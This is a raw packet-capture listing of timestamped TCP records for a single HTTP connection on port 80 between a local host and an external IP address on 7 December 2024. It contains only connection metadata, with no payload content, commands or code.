Dec 7, 2024 22:40:54.017251015 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.017302036 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.018352985 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.018400908 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.018465042 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.018511057 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.019567013 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.019613981 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.019654989 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.019697905 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.020754099 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.020812988 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.020842075 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.020884991 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.021888971 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.021939993 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.150238037 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.150355101 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.150430918 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.150441885 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.150473118 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.150487900 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.150696039 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.150749922 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.151431084 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.151526928 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.151608944 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.152461052 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.152518988 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.152549028 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.152597904 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.153492928 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.153547049 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.153593063 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.153641939 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.154479980 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.154529095 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.154580116 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.154623985 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.155497074 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.155561924 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.155600071 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.155638933 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.156513929 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.156564951 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.156634092 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.156681061 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.157521009 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.157571077 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.157676935 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.157725096 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.158591986 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.158638954 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.158691883 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.158737898 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.159619093 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.159667015 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.159706116 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.159743071 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.160587072 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.160634041 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.160693884 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.160737991 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.161600113 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.161653042 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.161688089 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.161729097 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.162664890 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.162724018 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.162833929 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.162879944 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.163784027 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.163831949 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.163841963 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.163880110 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.164644003 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.164694071 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.164758921 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.164805889 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.165795088 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.165843010 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.165882111 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.165921926 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.166709900 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.166759014 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.166794062 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.166834116 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.167759895 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.167803049 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.167928934 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.167994976 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.168960094 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.169003963 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.169047117 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.169090033 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.169742107 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.169785976 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.169842005 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.169883013 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.170779943 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.170835972 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.170902967 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.170944929 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.171812057 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.171859026 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.171894073 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.171933889 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.172799110 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.172844887 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.173011065 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.173072100 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.173839092 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.173885107 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.173922062 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.173964977 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.174855947 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.174904108 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.174963951 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.175012112 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.175884008 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.175926924 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.175991058 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.176035881 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.176882029 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.176930904 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.176990986 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.177037001 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.177922010 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.177973032 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.178013086 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.178052902 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.178921938 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.178968906 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.179053068 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.179100037 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.179961920 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.180010080 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.180078030 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.180125952 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.180975914 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.181021929 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.181046009 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.181088924 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.182007074 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.182060003 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.182094097 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.182143927 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.182981014 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.183027983 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.183096886 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.183145046 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.184019089 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.184066057 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.184123039 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.184170961 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.185040951 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.185095072 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.185129881 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.185178041 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.186086893 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.186135054 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.186208963 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.186264038 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.187067986 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.187127113 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.187186003 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.187233925 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.188103914 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.188152075 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.188215017 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.188260078 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.189124107 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.189168930 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.189240932 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.189285994 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.190118074 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.190170050 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.190251112 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.190299988 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.191189051 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.191239119 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.191262007 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.191299915 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.192157984 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.192208052 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.192260981 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.192306042 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.193197012 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.193249941 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.193265915 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.193310022 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.194207907 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.194256067 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.194289923 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.194339037 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.195257902 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.195303917 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.195352077 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.195399046 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.196252108 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.196300983 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.196331978 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.196372032 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.197298050 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.197348118 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.197412014 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.197458982 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.198370934 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.198417902 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.198447943 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.198494911 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.199284077 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.199336052 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.199418068 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.199462891 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.200334072 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.200381041 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.200413942 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.200459003 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.201335907 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.201387882 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.201428890 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.201469898 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.202382088 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.202425957 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.202493906 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.202537060 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.203372955 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.203416109 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.342439890 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.342592955 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.342628002 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.342679977 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.342921972 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.342974901 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.342988968 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.343044043 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.343909979 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.343975067 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.344078064 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.344933033 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.344985962 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.345010996 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.345057964 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.345947981 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.345999002 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.346105099 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.346147060 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.346947908 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.346996069 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.347071886 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.347120047 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.347989082 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.348042965 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.348100901 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.348143101 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.349030018 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.349076986 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.349138975 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.349186897 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.350040913 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.350087881 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.350157976 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.350214958 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.351088047 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.351135969 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.351166964 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.351213932 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.352113008 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.352155924 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.352188110 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.352236032 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.353094101 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.353141069 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.353188992 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.353229046 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.354085922 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.354131937 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.354166985 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.354209900 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.355133057 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.355184078 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.355218887 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.355262995 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.356126070 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.356174946 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.356235027 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.356281042 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.357135057 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.357178926 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.357218981 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.357265949 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.358158112 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.358215094 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.358273983 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.358320951 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.359167099 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.359217882 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.359278917 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.359325886 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.360197067 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.360245943 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.360306025 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.360352993 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.361229897 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.361274004 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.361327887 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.361371040 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.362234116 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.362286091 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.362327099 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.362374067 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.363246918 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.363296986 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.363353968 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.363403082 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.364304066 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.364353895 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.364411116 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.364454031 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.365355968 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.365402937 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.365438938 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.365484953 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.366367102 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.366419077 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.366508007 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.366555929 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.367357969 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.367408037 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.367477894 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.367525101 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.368346930 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.368397951 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.368464947 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.368510962 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.369358063 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.369404078 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:54.369486094 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:54.369534016 CET	49827	80	192.168.2.6	185.215.113.16
